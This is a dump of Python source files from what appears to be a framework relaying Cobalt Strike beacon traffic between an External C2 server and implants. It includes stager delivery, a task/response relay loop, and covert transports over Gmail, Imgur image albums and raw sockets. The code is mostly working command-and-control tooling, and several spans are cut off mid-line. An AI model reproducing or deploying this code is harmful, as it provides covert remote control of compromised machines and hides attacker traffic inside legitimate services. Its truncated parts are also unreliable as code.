############################################ 5 | ############################################ 6 | # Address of External c2 server 7 | EXTERNAL_C2_ADDR = "127.0.0.1" 8 | 9 | # Port of external c2 server 10 | EXTERNAL_C2_PORT = "2222" 11 | 12 | # The name of the pipe that the beacon should use 13 | C2_PIPE_NAME = "foobar" 14 | 15 | # A time in milliseconds that indicates how long the External C2 server should block when no new tasks are available 16 | C2_BLOCK_TIME = 100 17 | 18 | # Desired Architecture of the Beacon 19 | C2_ARCH = "x86" 20 | 21 | # How long to wait (in seconds) before polling the server for new tasks/responses 22 | IDLE_TIME = 5 23 | 24 | ENCODER_MODULE = "encoder_b64url" 25 | TRANSPORT_MODULE = "transport_gmail" 26 | 27 | ########################################### 28 | # DEBUG: 29 | 30 | # Anything taken in from argparse that you want to make avaialable goes here: 31 | verbose = False 32 | debug = False -------------------------------------------------------------------------------- /sample_builds/server/configureStage/__init__.py: -------------------------------------------------------------------------------- 1 | import config 2 | from utils import commonUtils 3 | 4 | def configureOptions(sock, arch, pipename, block): 5 | # This whole function should eventually be refactored into an elaborate forloop so that we can 6 | # support additional beacon options down the road 7 | # send the options 8 | if config.verbose: 9 | print commonUtils.color("Configuring stager options") 10 | 11 | beacon_arch = "arch=" + str(arch) 12 | if config.debug: 13 | print commonUtils.color(beacon_arch, status=False, yellow=True) 14 | commonUtils.sendFrameToC2(sock, beacon_arch) 15 | 16 | beacon_pipename = "pipename=" + str(pipename) 17 | if config.debug: 18 | print commonUtils.color(beacon_pipename, status=False, yellow=True) 19 | commonUtils.sendFrameToC2(sock, beacon_pipename) 20 | 21 | beacon_block = "block=" + str(block) 22 | if config.debug: 23 | print commonUtils.color(beacon_block, status=False, yellow=True) 24 | commonUtils.sendFrameToC2(sock, beacon_block) 25 | 26 | def requestStager(sock): 27 | commonUtils.sendFrameToC2(sock, "go") 28 | 29 | stager_payload = commonUtils.recvFrameFromC2(sock) 30 | 31 | return stager_payload 32 | 33 | def loadStager(sock): 34 | # Send options to the external_c2 server 35 | configureOptions(sock, config.C2_ARCH, config.C2_PIPE_NAME, config.C2_BLOCK_TIME) 36 | 37 | if config.debug: 38 | print commonUtils.color("stager configured, sending 'go'", status=False, yellow=True) 39 | 40 | # Request stager 41 | stager_payload = requestStager(sock) 42 | 43 | if config.debug: 44 | print (commonUtils.color("STAGER: ", status=False, yellow=True) + "%s") % (stager_payload) 45 | 46 | # Prep stager payload 47 | if config.verbose: 48 | print commonUtils.color("Encoding stager payload") 49 | # Trick, this is actually done during sendData() 50 | 51 | # Send stager to the client 52 | if config.verbose: 53 | print commonUtils.color("Sending stager to client") 54 | commonUtils.sendData(stager_payload) 55 | 56 | # Rrieve the metadata we need to relay back to the server 57 | if config.verbose: 58 | print commonUtils.color("Awaiting metadata response from client") 59 | metadata = commonUtils.retrieveData() 60 | 61 | # Send the metadata frame to the external_c2 server 62 | if config.verbose: 63 | print commonUtils.color("Sending metadata to c2 server") 64 | if config.debug: 65 | print (commonUtils.color("METADATA: ", status=False, yellow=True) + "%s") % (metadata) 66 | commonUtils.sendFrameToC2(sock, metadata) 67 | 68 | # Pretend we have error handling, return 0 if everything is Gucci 69 | 70 | return 0 -------------------------------------------------------------------------------- /sample_builds/server/establishedSession/__init__.py: -------------------------------------------------------------------------------- 1 | import config 2 | from utils import commonUtils 3 | 4 | def checkForTasks(sock): 5 | """ 6 | Poll the c2 server for new tasks 7 | """ 8 | 9 | chunk = commonUtils.recvFrameFromC2(sock) 10 | if chunk < 0: 11 | if config.debug: 12 | print (commonUtils.color("Attempted to read %d bytes from c2 server", status=False, yellow=True)) %(len(chunk)) 13 | # break # This should probably just return None or something 14 | return None 15 | else: 16 | if config.debug: 17 | if len(chunk) > 1: 18 | print (commonUtils.color("Recieved %d bytes from c2 server", status=False, yellow=True)) % (len(chunk)) 19 | else: 20 | print (commonUtils.color("Recieved empty task from c2 server", status=False, yellow=True)) 21 | if len(chunk) > 1: 22 | if config.verbose: 23 | print (commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(chunk))) 24 | if config.debug: 25 | print (commonUtils.color("NEW TASK: ", status=False, yellow=True) + "%s") % (chunk) 26 | return chunk 27 | 28 | ########## 29 | 30 | 31 | 32 | #def checkForResponse(sock): 33 | def checkForResponse(): 34 | """ 35 | Check the covert channel for a response from the client 36 | """ 37 | 38 | recvdResponse = commonUtils.retrieveData() 39 | if config.debug: 40 | if len(recvdResponse) > 1: 41 | print (commonUtils.color("Recieved %d bytes from client", status=False, yellow=True)) % (len(recvdResponse)) 42 | else: 43 | print (commonUtils.color("Recieved empty response from client", status=False, yellow=True)) 44 | if len(recvdResponse) > 1: 45 | if config.verbose: 46 | print (commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(recvdResponse))) 47 | if config.debug: 48 | print (commonUtils.color("RESPONSE: ", status=False, yellow=True) + "%s") % (recvdResponse) 49 | 50 | 51 | return recvdResponse 52 | 53 | def relayResponse(sock, response): 54 | # Relays the response from the client to the c2 server 55 | # 'response', will have already been decoded from 'establishedSession.checkForResponse()' 56 | # -- Why is this it's own function? Because I have no idea what I'm doing 57 | if config.debug: 58 | print commonUtils.color("Relaying response to c2 server", status=False, yellow=True) 59 | commonUtils.sendFrameToC2(sock, response) 60 | 61 | def relayTask(task): 62 | # Relays a new task from the c2 server to the client 63 | # 'task' will be encoded in the 'commonUtils.sendData()' function. 64 | if config.debug: 65 | print commonUtils.color("Relaying task to client", status=False, yellow=True) 66 | commonUtils.sendData(task) 67 | -------------------------------------------------------------------------------- /sample_builds/server/sample_server-raw_socket.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | from time import sleep 4 | import sys 5 | import argparse 6 | 7 | 8 | # TODO: Patch in startup sanity checks: 9 | 10 | # One thing we can do is once the server and client starts (i.e. before sending a stager), we can send the C2_PIPE_NAME to the client via the covert channel. 11 | # The client can retrieve it via the covert channel, and enumerate the name(s) of the pipes available to it, and compare that against the given C2_PIPE_NAME. 12 | # If a matching C2_PIPE_NAME is found on the client, notify the server via the covert channel, and both the server and client should start their respective establishedSession loop. 13 | # This would enable us to resume a running beacon if the spec is updated to support it. 14 | 15 | # TODO: Have a proper function that reads in a config 16 | 17 | # DEBUG: 18 | ############################################ 19 | # Address of External c2 server 20 | EXTERNAL_C2_ADDR = "127.0.0.1" 21 | 22 | # Port of external c2 server 23 | EXTERNAL_C2_PORT = "2222" 24 | 25 | # The name of the pipe that the beacon should use 26 | C2_PIPE_NAME = "foobar" 27 | 28 | # A time in milliseconds that indicates how long the External C2 server should block when no new tasks are available 29 | C2_BLOCK_TIME = 100 30 | 31 | # Desired Architecture of the Beacon 32 | C2_ARCH = "x86" 33 | 34 | # How long to wait (in seconds) before polling the server for new tasks/responses 35 | IDLE_TIME = 5 36 | 37 | ENCODER_MODULE = "encoder_base64" 38 | TRANSPORT_MODULE = "transport_raw_socket" 39 | 40 | ########################################### 41 | # DEBUG: 42 | 43 | class commonUtils(object): 44 | @staticmethod 45 | def createSocket(): 46 | # Borrowed from https://github.com/outflanknl/external_c2/blob/master/python_c2ex.py 47 | d = {} 48 | d['sock'] = socket.create_connection((EXTERNAL_C2_ADDR, int(EXTERNAL_C2_PORT))) 49 | d['state'] = 1 50 | return (d['sock']) 51 | 52 | @staticmethod 53 | def sendFrameToC2(sock, chunk): 54 | slen = struct.pack(' 1: 238 | print (commonUtils.color("Recieved %d bytes from c2 server", status=False, yellow=True)) % (len(chunk)) 239 | else: 240 | print (commonUtils.color("Recieved empty task from c2 server", status=False, yellow=True)) 241 | if len(chunk) > 1: 242 | if args.verbose: 243 | print (commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(chunk))) 244 | if args.debug: 245 | print (commonUtils.color("NEW TASK: ", status=False, yellow=True) + "%s") % (chunk) 246 | return chunk 247 | 248 | ########## 249 | 250 | 251 | 252 | #def checkForResponse(sock): 253 | @staticmethod 254 | def checkForResponse(): 255 | """ 256 | Check the covert channel for a response from the client 257 | """ 258 | 259 | recvdResponse = commonUtils.retrieveData() 260 | if args.debug: 261 | if len(recvdResponse) > 1: 262 | print (commonUtils.color("Recieved %d bytes from client", status=False, yellow=True)) % (len(recvdResponse)) 263 | else: 264 | print (commonUtils.color("Recieved empty response from client", status=False, yellow=True)) 265 | if len(recvdResponse) > 1: 266 | if args.verbose: 267 | print (commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(recvdResponse))) 268 | if args.debug: 269 | print (commonUtils.color("RESPONSE: ", status=False, yellow=True) + "%s") % (recvdResponse) 270 | 271 | 272 | return recvdResponse 273 | 274 | @staticmethod 275 | def relayResponse(sock, response): 276 | # Relays the response from the client to the c2 server 277 | # 'response', will have already been decoded from 'establishedSession.checkForResponse()' 278 | # -- Why is this it's own function? Because I have no idea what I'm doing 279 | if args.debug: 280 | print commonUtils.color("Relaying response to c2 server", status=False, yellow=True) 281 | commonUtils.sendFrameToC2(sock, response) 282 | 283 | @staticmethod 284 | def relayTask(task): 285 | # Relays a new task from the c2 server to the client 286 | # 'task' will be encoded in the 'commonUtils.sendData()' function. 287 | if args.debug: 288 | print commonUtils.color("Relaying task to client", status=False, yellow=True) 289 | commonUtils.sendData(task) 290 | 291 | def main(): 292 | # Argparse for certain options 293 | parser = argparse.ArgumentParser() 294 | parser.add_argument('-v', action='store_true', help='Enable verbose output', dest='verbose', default=False) 295 | parser.add_argument('-d', action='store_true', help='Enable debugging output', dest='debug', default=False) 296 | 297 | 298 | # Call arguments with args.$ARGNAME 299 | global args 300 | args = parser.parse_args() 301 | 302 | # Enable verbose output if debug is enabled 303 | if args.debug: 304 | args.verbose = True 305 | 306 | # Import our defined encoder and transport modules 307 | if args.verbose: 308 | print (commonUtils.color("Importing encoder module: ") + "%s") % (ENCODER_MODULE) 309 | commonUtils.importModule(ENCODER_MODULE, "encoder") 310 | if args.verbose: 311 | print (commonUtils.color("Importing transport module: ") + "%s") % (TRANSPORT_MODULE) 312 | commonUtils.importModule(TRANSPORT_MODULE, "transport") 313 | 314 | 315 | try: 316 | # Start with logic to setup the connection to the external_c2 server 317 | sock = commonUtils.createSocket() 318 | 319 | # TODO: Add logic that will check and recieve a confirmation from the client that it is ready to recieve and inject the stager 320 | # Poll covert channel for 'READY2INJECT' message from client 321 | # * We can make the client send out 'READY2INJECT' msg from client periodically when it doesn't have a running beacon so that we don't miss it 322 | # if args.verbose: 323 | # print commonUtils.color("Client ready to recieve stager") 324 | 325 | # ##################### 326 | 327 | # Prep the transport module 328 | transport.prepTransport() 329 | 330 | # Let's get the stager from the c2 server 331 | stager_status = configureStage.main(sock) 332 | 333 | if stager_status != 0: 334 | # Something went horribly wrong 335 | print commonUtils.color("Something went terribly wrong while configuring the stager!", status=False, warning=True) 336 | sys.exit(1) 337 | 338 | # TODO: Add logic that will check and recieve confirmation from the client that it is ready to recieve and process commands 339 | # Poll covert channel for 'READY4CMDS' message from client 340 | 341 | # Now that the stager is configured, lets start our main loop 342 | while True: 343 | if args.verbose: 344 | print commonUtils.color("Checking the c2 server for new tasks...") 345 | 346 | newTask = establishedSession.checkForTasks(sock) 347 | 348 | # once we have a new task (even an empty one), lets relay that to our client 349 | if args.debug: 350 | print commonUtils.color("Encoding and relaying task to client", status=False, yellow=True) 351 | establishedSession.relayTask(newTask) 352 | # Attempt to retrieve a response from the client 353 | if args.verbose: 354 | print commonUtils.color("Checking the client for a response...") 355 | b_response = establishedSession.checkForResponse() 356 | 357 | # Let's relay this response to the c2 server 358 | establishedSession.relayResponse(sock, b_response) 359 | sleep(C2_BLOCK_TIME/100) # python sleep is in seconds, C2_BLOCK_TIME in milliseconds 360 | 361 | 362 | # Restart this loop 363 | except KeyboardInterrupt: 364 | if args.debug: 365 | print commonUtils.color("\nClosing the socket to the c2 server") 366 | commonUtils.killSocket(sock) 367 | print commonUtils.color("\nExiting...", warning=True) 368 | sys.exit(0) 369 | 370 | main() 371 | -------------------------------------------------------------------------------- /sample_builds/server/server.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import argparse 3 | from utils import commonUtils 4 | import configureStage 5 | import establishedSession 6 | import config 7 | from time import sleep 8 | 9 | def importModule(modName, modType): 10 | """ 11 | Imports a passed module as either an 'encoder' or a 'transport'; called with either encoder.X() or transport.X() 12 | """ 13 | prep_global = "global " + modType 14 | exec(prep_global) 15 | importName = "import utils." + modType + "s." + modName + " as " + modType 16 | exec(importName, globals()) 17 | 18 | 19 | def main(): 20 | # Argparse for certain options 21 | parser = argparse.ArgumentParser() 22 | parser.add_argument('-v', action='store_true', help='Enable verbose output', dest='verbose', default=False) 23 | parser.add_argument('-d', action='store_true', help='Enable debugging output', dest='debug', default=False) 24 | 25 | 26 | # Call arguments with args.$ARGNAME 27 | args = parser.parse_args() 28 | 29 | # Assign the arguments to config.$ARGNAME 30 | if not config.verbose: 31 | config.verbose = args.verbose 32 | if not config.debug: 33 | config.debug = args.debug 34 | 35 | # Enable verbose output if debug is enabled 36 | if config.debug: 37 | config.verbose = True 38 | 39 | # Import our defined encoder and transport modules 40 | if config.verbose: 41 | print (commonUtils.color("Importing encoder module: ") + "%s") % (config.ENCODER_MODULE) 42 | importModule(config.ENCODER_MODULE, "encoder") 43 | commonUtils.importModule(config.ENCODER_MODULE, "encoder") 44 | if config.verbose: 45 | print (commonUtils.color("Importing transport module: ") + "%s") % (config.TRANSPORT_MODULE) 46 | importModule(config.TRANSPORT_MODULE, "transport") 47 | commonUtils.importModule(config.TRANSPORT_MODULE, "transport") 48 | 49 | 50 | try: 51 | # Start with logic to setup the connection to the external_c2 server 52 | sock = commonUtils.createSocket() 53 | 54 | # TODO: Add logic that will check and recieve a confirmation from the client that it is ready to recieve and inject the stager 55 | # Poll covert channel for 'READY2INJECT' message from client 56 | # * We can make the client send out 'READY2INJECT' msg from client periodically when it doesn't have a running beacon so that we don't miss it 57 | # if args.verbose: 58 | # print commonUtils.color("Client ready to recieve stager") 59 | 60 | # ##################### 61 | 62 | # Prep the transport module 63 | prep_trans = transport.prepTransport() 64 | 65 | # Let's get the stager from the c2 server 66 | stager_status = configureStage.loadStager(sock) 67 | 68 | if stager_status != 0: 69 | # Something went horribly wrong 70 | print commonUtils.color("Something went terribly wrong while configuring the stager!", status=False, warning=True) 71 | sys.exit(1) 72 | 73 | # TODO: Add logic that will check and recieve confirmation from the client that it is ready to recieve and process commands 74 | # Poll covert channel for 'READY4CMDS' message from client 75 | 76 | # Now that the stager is configured, lets start our main loop 77 | while True: 78 | if config.verbose: 79 | print commonUtils.color("Checking the c2 server for new tasks...") 80 | 81 | newTask = establishedSession.checkForTasks(sock) 82 | 83 | # once we have a new task (even an empty one), lets relay that to our client 84 | if config.debug: 85 | print commonUtils.color("Encoding and relaying task to client", status=False, yellow=True) 86 | establishedSession.relayTask(newTask) 87 | # Attempt to retrieve a response from the client 88 | if config.verbose: 89 | print commonUtils.color("Checking the client for a response...") 90 | b_response = establishedSession.checkForResponse() 91 | 92 | # Let's relay this response to the c2 server 93 | establishedSession.relayResponse(sock, b_response) 94 | sleep(config.C2_BLOCK_TIME/100) # python sleep is in seconds, C2_BLOCK_TIME in milliseconds 95 | 96 | 97 | # Restart this loop 98 | except KeyboardInterrupt: 99 | if config.debug: 100 | print commonUtils.color("\nClosing the socket to the c2 server") 101 | commonUtils.killSocket(sock) 102 | print commonUtils.color("\nExiting...", warning=True) 103 | sys.exit(0) 104 | 105 | main() 106 | -------------------------------------------------------------------------------- /sample_builds/server/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Und3rf10w/external_c2_framework/9bbcb0d7bbe06b7aa5711808f494cdca7643d87e/sample_builds/server/utils/__init__.py -------------------------------------------------------------------------------- /sample_builds/server/utils/commonUtils.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import config 4 | def importModule(modName, modType): 5 | """ 6 | Imports a passed module as either an 'encoder' or a 'transport'; called with either encoder.X() or transport.X() 7 | """ 8 | prep_global = "global " + modType 9 | exec(prep_global) 10 | importName = "import utils." + modType + "s." + modName + " as " + modType 11 | exec(importName, globals()) 12 | 13 | def createSocket(): 14 | # Borrowed from https://github.com/outflanknl/external_c2/blob/master/python_c2ex.py 15 | d = {} 16 | d['sock'] = socket.create_connection((config.EXTERNAL_C2_ADDR, int(config.EXTERNAL_C2_PORT))) 17 | d['state'] = 1 18 | return (d['sock']) 19 | 20 | def sendFrameToC2(sock, chunk): 21 | slen = struct.pack(' 8 | VERSION = 0 9 | # 10 | 11 | def encode(data, photo_id=1, list_size=1): 12 | img = Image.new('RGB', (4320,4320), color = 'red') 13 | pix = img.load() 14 | x = 1 15 | for byte in data: 16 | pix[x,x] = (pix[x,x][0], pix[x,x][1], ord(byte)) 17 | x = x + 1 18 | pass 19 | pix[0,0] = (VERSION, photo_id, list_size) 20 | img_byte_array = StringIO() 21 | img.save(img_byte_array, format='PNG') 22 | return img_byte_array 23 | 24 | def decode(image): 25 | stego_pix = image.load() 26 | byte_list = [] 27 | 28 | for y in range(1, image.size[1]): 29 | # Add our byte we wnat 30 | byte_list.append(chr(stego_pix[y,y][2])) 31 | pass 32 | 33 | return ''.join(byte_list) 34 | -------------------------------------------------------------------------------- /sample_builds/server/utils/transports/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Und3rf10w/external_c2_framework/9bbcb0d7bbe06b7aa5711808f494cdca7643d87e/sample_builds/server/utils/transports/__init__.py -------------------------------------------------------------------------------- /sample_builds/server/utils/transports/transport_gmail.py: -------------------------------------------------------------------------------- 1 | import email 2 | import imaplib 3 | from smtplib import SMTP 4 | from smtplib import SMTP_SSL 5 | from email.MIMEMultipart import MIMEMultipart 6 | from email.MIMEBase import MIMEBase 7 | from email.MIMEText import MIMEText 8 | from time import sleep 9 | 10 | # START OF GHETTO CONFIG SECTION 11 | GMAIL_USER = 'example@gmail.com' 12 | GMAIL_PWD = 'hunter2' 13 | SERVER = 'smtp.gmail.com' 14 | SERVER_PORT = 465 15 | # END OF GHETTO CONFIG SECTION 16 | 17 | def prepTransport(): 18 | return 0 19 | 20 | def sendData(data): 21 | msg = MIMEMultipart() 22 | msg['From'] = GMAIL_USER 23 | msg['To'] = GMAIL_USER 24 | msg['Subject'] = "New4You" 25 | message_content = data 26 | print "got msg_content" 27 | 28 | msg.attach(MIMEText(str(message_content))) 29 | 30 | while True: 31 | try: 32 | #mailServer = SMTP(SERVER, SERVER_PORT) 33 | mailServer = SMTP_SSL(SERVER, SERVER_PORT) 34 | #mailServer.connect(SERVER, SERVER_PORT) 35 | #mailServer.ehlo() 36 | #mailServer.starttls() 37 | #mailServer.usetls() 38 | print "started tls" 39 | print mailServer.login(GMAIL_USER,GMAIL_PWD) 40 | print "logged in" 41 | mailServer.sendmail(GMAIL_USER, GMAIL_USER, msg.as_string()) 42 | print "sent " + str(len(msg.as_string())) + " bytes" 43 | mailServer.quit() 44 | break 45 | except Exception as e: 46 | print e 47 | sleep(10) # wait 10 seconds to try again 48 | 49 | def retrieveData(): 50 | c= imaplib.IMAP4_SSL(SERVER) 51 | c.login(GMAIL_USER, GMAIL_PWD) 52 | c.select("INBOX") 53 | 54 | #typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'New4You')".format(uniqueid)) 55 | while True: 56 | typ, id_list = c.search(None, '(UNSEEN SUBJECT "Resp4You")') 57 | print id_list[0].split() 58 | if not id_list[0].split(): 59 | sleep(10) # wait for 10 seconds before checking again 60 | c.select("INBOX") 61 | typ, id_list = c.search(None, '(UNSEEN SUBJECT "Resp4You")') 62 | pass 63 | else: 64 | for msg_id in id_list[0].split(): 65 | msg = c.fetch(msg_id, '(RFC822)') 66 | #c.store(msg_id, '+FLAGS', '\SEEN') 67 | msg = ([x[0] for x in msg][1])[1] 68 | for part in email.message_from_string(msg).walk(): 69 | msg = part.get_payload() 70 | c.logout() 71 | return msg 72 | 73 | -------------------------------------------------------------------------------- /sample_builds/server/utils/transports/transport_imgur.py: -------------------------------------------------------------------------------- 1 | from imgurpython import ImgurClient, helpers 2 | import PIL 3 | from PIL import Image 4 | from cStringIO import StringIO 5 | import time 6 | from sys import exit 7 | import urlparse 8 | import base64 9 | import requests 10 | import zlib 11 | import utils.encoders.encoder_lsbjpg as encoder 12 | 13 | # YOU NEED TO GET A TOKEN FOR YOUR APPLICATION FIRST. 14 | # SET UP YOUR ACCOUNT. 15 | 16 | 17 | # 18 | TOKEN_LEN = 81 # Don't change this 19 | USERNAME = '' 20 | client_id = '' 21 | client_secret = '' 22 | SEND_ALBUM_NAME = "TSK4U" 23 | RECV_ALBUM_NAME = "RESP4U" 24 | access_token = '' 25 | refresh_token = '' 26 | # 27 | 28 | # Server's transport will handle access tokens and whatnot. 29 | 30 | # client's prepTransport will have to handle token refreshes. 31 | # TODO: Client won't last more than a month without this logic. 32 | # - need to add authtoken refresh logic 33 | 34 | def resetAccount(): 35 | account_albums = client.get_account_albums(USERNAME) 36 | for album in account_albums: 37 | images = client.get_album_images(album.id) 38 | for image in images: 39 | client.delete_image(image.id) 40 | client.album_delete(album.id) 41 | 42 | def prepClientTransport(): 43 | global client 44 | client = ImgurClient(client_id, client_secret) 45 | 46 | getTokens() 47 | return 0 48 | 49 | def getTokens(): 50 | while True: 51 | try: 52 | account_albums = client.get_account_albums(USERNAME) 53 | account_albums[0] 54 | if account_albums[0].title == "TK4U": 55 | break 56 | else: 57 | print "No new albums yet, sleeping for 2m" 58 | except IndexError: 59 | print "No new albums yet, sleeping for 2m" 60 | time.sleep(120) 61 | 62 | x = 0 63 | for x in range(0, len(account_albums)): 64 | token_image = client.get_album_images(account_albums[x].id)[0] 65 | token_img = Image.open(StringIO(requests.get(token_image.link).content)) 66 | stego_pix = token_img.load() 67 | if stego_pix[0,0] == (1,1,1): 68 | print "Token images found!" 69 | break 70 | else: 71 | x = x + 1 72 | pass 73 | 74 | token_bytes = [] 75 | for x in range(1, token_img.size[1]): 76 | token_bytes.append(chr(stego_pix[x,x][2])) 77 | tokens = ''.join(token_bytes[0:TOKEN_LEN]).split(',') 78 | 79 | global access_token 80 | access_token = tokens[0] 81 | global refresh_token 82 | refresh_token = tokens[1] 83 | 84 | # Cleanup time! 85 | client.set_user_auth(access_token, refresh_token) 86 | resetAccount() 87 | 88 | print "Sleeping for 600s to allow server to upload stager" 89 | time.sleep(600) 90 | 91 | return 0 92 | 93 | 94 | def checkStatus(silent=True): 95 | # Checks the account status 96 | # if we discover we don't have enough credits to continue, we will sleep until our credits are reset 97 | credits = client.make_request('GET', 'credits') 98 | 99 | # Supports pseudo debug output 100 | if silent == False: 101 | print "%d credits remaining of %d for this user's ip" %(credits['UserRemaining'], credits['UserLimit']) 102 | print "%d credits remaining of %d for this client" %(credits['ClientRemaining'], credits['ClientLimit']) 103 | print "User credits reset @ " + str(time.ctime(credits['UserReset'])) 104 | 105 | # Wait for our credits to reset if we don't have enough 106 | if int(credits['UserRemaining']) < 10: 107 | print "WARNING: Not enough credits to continue making requests, waiting for credits to replenish" 108 | while time.time() <= credits['UserReset']: 109 | print "Current time: " + str(time.ctime(time.time())) 110 | print "Reset @ %s, sleeping for 5m" % (time.ctime(credits['UserReset'])) 111 | time.sleep(300) 112 | print "Credits reset!" 113 | checkStatus() 114 | return credits 115 | 116 | 117 | def sendTokens(tokens): 118 | # Sends tokens in plain text. Eventually, I'd like to get it so I can 119 | # just pass it to the encoder, but this works for a prototype 120 | 121 | img = Image.new('RGB', (4320,4320), color = 'red') 122 | pix = img.load() 123 | token_list = list(tokens) 124 | token_list = bytearray(str(token_list[0]) + "," + str(token_list[1])) 125 | for byte in token_list: 126 | for x in range(1, len(token_list) + 1): 127 | byte = token_list[x-1] 128 | # Write the byte to the blue value in the pixel 129 | pix[x,x] = (pix[x,x][0], pix[x,x][1], byte) 130 | x = x + 1 131 | pass 132 | # Insert a UPDATE_TOKENS header 133 | pix[0,0] = (1, 1, 1) 134 | # Upload image to new album 135 | fields = {} 136 | fields = { 'title': "TK4U", 'privacy': "public"} 137 | album_object = client.create_album(fields) 138 | fields.update({"id": album_object['id']}) 139 | 140 | # Upload our image to the album 141 | img_byte_array = StringIO() 142 | img.save(img_byte_array, format='PNG') 143 | 144 | image_upload_fields = {} 145 | image_upload_fields = {'image': base64.b64encode(img_byte_array.getvalue()), 'type': 'base64', 'album': album_object['id']} 146 | while True: 147 | try: 148 | y = client.make_request('POST', 'upload', image_upload_fields) 149 | except helpers.error.ImgurClientRateLimitError: 150 | print "Hit the rate limit, sleeping for 10m" 151 | time.sleep(600) 152 | continue 153 | break 154 | 155 | 156 | # I know this is a very weird looking loop, but it was to fix a very weird bug 157 | while True: 158 | account_albums = client.get_account_albums(USERNAME) 159 | try: 160 | if account_albums[0].id: 161 | for album in account_albums: 162 | if album.id == album_object['id']: 163 | print "Album still exists, waiting 60 seconds for client to delete the tokens album" 164 | time.sleep(60) 165 | continue 166 | else: 167 | break 168 | except IndexError: 169 | break 170 | 171 | # Return the token's album hash 172 | return 0 173 | 174 | 175 | def prepTransport(): 176 | global client 177 | client = ImgurClient(client_id, client_secret) 178 | 179 | # Auth to imgur 180 | authorization_url = client.get_auth_url('token') 181 | 182 | print "Go to the following URL: {0}".format(authorization_url) 183 | try: 184 | token_url = raw_input("Insert the url you were redirected to with all parameters: ") 185 | except: 186 | token_url = input("Insert the url you were redirected to with all parameters: ") 187 | 188 | parsed = urlparse.urlparse(token_url) 189 | 190 | access_token = urlparse.parse_qs(parsed.fragment)['access_token'][0] 191 | refresh_token = urlparse.parse_qs(parsed.fragment)['refresh_token'][0] 192 | client.set_user_auth(access_token, refresh_token) 193 | 194 | if client.get_email_verification_status(USERNAME) == False: 195 | print "ERROR: YOU NEED TO VERIFY YOUR EMAIL. We'll send a verification request." 196 | client.send_verification_email(USERNAME) 197 | print "Verification email sent. Exiting..." 198 | exit(1) 199 | 200 | # Sending access and refresh token to client 201 | token_list = [] 202 | token_list.append(access_token) 203 | token_list.append(refresh_token) 204 | token_album_hash = sendTokens(token_list) 205 | 206 | # Client has recieved the tokens 207 | return 0 208 | 209 | 210 | def sendData(data): 211 | # Transport will receiving a list of images 212 | # Application will have already encoded the data 213 | # Logic will probably be different for client, 214 | # indicating that we're going to run into issues 215 | # Here, we're expecting to recieve a list of PIL images from the encoder 216 | fields = {} 217 | fields = { 'title': SEND_ALBUM_NAME, 'privacy': "hidden"} 218 | album_object = client.create_album(fields) 219 | fields.update({"id": album_object['id']}) 220 | 221 | data = base64.b64encode(zlib.compress(data, 9)) 222 | data_list = [data[i:i+4319] for i in range(0, len(data), 4319)] 223 | 224 | photo_id = 1 225 | image_upload_fields = {'type': 'base64', 'album': album_object['id']} 226 | 227 | credits = checkStatus(silent=False) 228 | # TODO: Add logic to safely check if we can upload photos here 229 | # if credits['UserRemaining'] < len(data_list) or credits['ClientRemaining'] < len(data_list): 230 | 231 | print "Uploading %d images" % (len(data_list)) 232 | for chunk in data_list: 233 | photo = encoder.encode(chunk, photo_id=photo_id) 234 | image_upload_fields.update({'image': base64.b64encode(photo.getvalue())}) 235 | while True: 236 | try: 237 | request = client.make_request('POST', 'upload', image_upload_fields) 238 | except helpers.error.ImgurClientRateLimitError: 239 | print "Hit the rate limit, sleeping for 10m" 240 | time.sleep(600) 241 | continue 242 | break 243 | photo_id = photo_id + 1 244 | del photo 245 | credits = checkStatus(silent=False) 246 | # If photo_id % 50, we'll sleep for 3 minutes to not trip our rate limit 247 | # There is an upload limit of 50 images per IP address per hour. 248 | if photo_id % 40 == 0: 249 | print "Upload limit for this hour exceeded, sleeping until next hour" 250 | time.sleep(300) 251 | 252 | 253 | def retrieveData(): 254 | # Check for new albums 255 | while True: 256 | try: 257 | account_albums = client.get_account_albums(USERNAME) 258 | account_albums[0] 259 | if account_albums[0].title == RECV_ALBUM_NAME: 260 | break 261 | else: 262 | print "No new albums yet, sleeping for 2m" 263 | time.sleep(120) 264 | except IndexError: 265 | print "No new albums yet, sleeping for 2m" 266 | time.sleep(120) 267 | 268 | x = 0 269 | reconstructed_data = "" 270 | data_list = [] 271 | 272 | # Iterate through each album 273 | for x in range(0, len(account_albums)): 274 | album_images = client.get_album_images(account_albums[x].id) 275 | 276 | # Iterate through each image in the album 277 | for image in album_images: 278 | curr_image_data = Image.open(StringIO(requests.get(image.link).content)) 279 | data_list.append(encoder.decode(curr_image_data)) 280 | pass 281 | 282 | # Reconstruct the data 283 | reconstructed_data = ''.join(data_list).strip('\0') 284 | 285 | # resetAccount() 286 | 287 | # Now lets unbase64 and decompress this data 288 | raw_data = zlib.decompress(base64.b64decode(reconstructed_data)) 289 | return raw_data 290 | -------------------------------------------------------------------------------- /sample_builds/server/utils/transports/transport_raw_socket.py: -------------------------------------------------------------------------------- 1 | # A transport module for Und3rf10w's implementation of the external_c2 spec of cobalt strike that utilizes a simple raw TCP socket as a covert channel. 2 | # Not exactly covert... 3 | 4 | import socket 5 | import sys 6 | import struct 7 | 8 | # GHETTO CONFIG, should be read in from a master configuration file... 9 | HOST = '0.0.0.0' 10 | PORT = 8081 11 | 12 | def prepTransport(): 13 | """ 14 | This functions prepares the transport module for use 15 | """ 16 | # Create a socket 17 | global transSock 18 | global connSock 19 | transSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 20 | try: 21 | print "Attempting to bind to " + str(HOST) + ":" + str(PORT) 22 | transSock.bind((HOST,PORT)) 23 | except Exception as e: 24 | print "ERROR: %s" % (e) 25 | 26 | # Start listening 27 | transSock.listen(1) 28 | print "Socket now listening, waiting for connection from client..." 29 | 30 | # Wait to accept a connection from the client: 31 | connSock, addr = transSock.accept() 32 | # 'conn' socket object is the connection to the client, send data through that 33 | print 'Connected with client @ ' + addr[0] + ":" + str(addr[1]) 34 | 35 | return connSock 36 | 37 | def 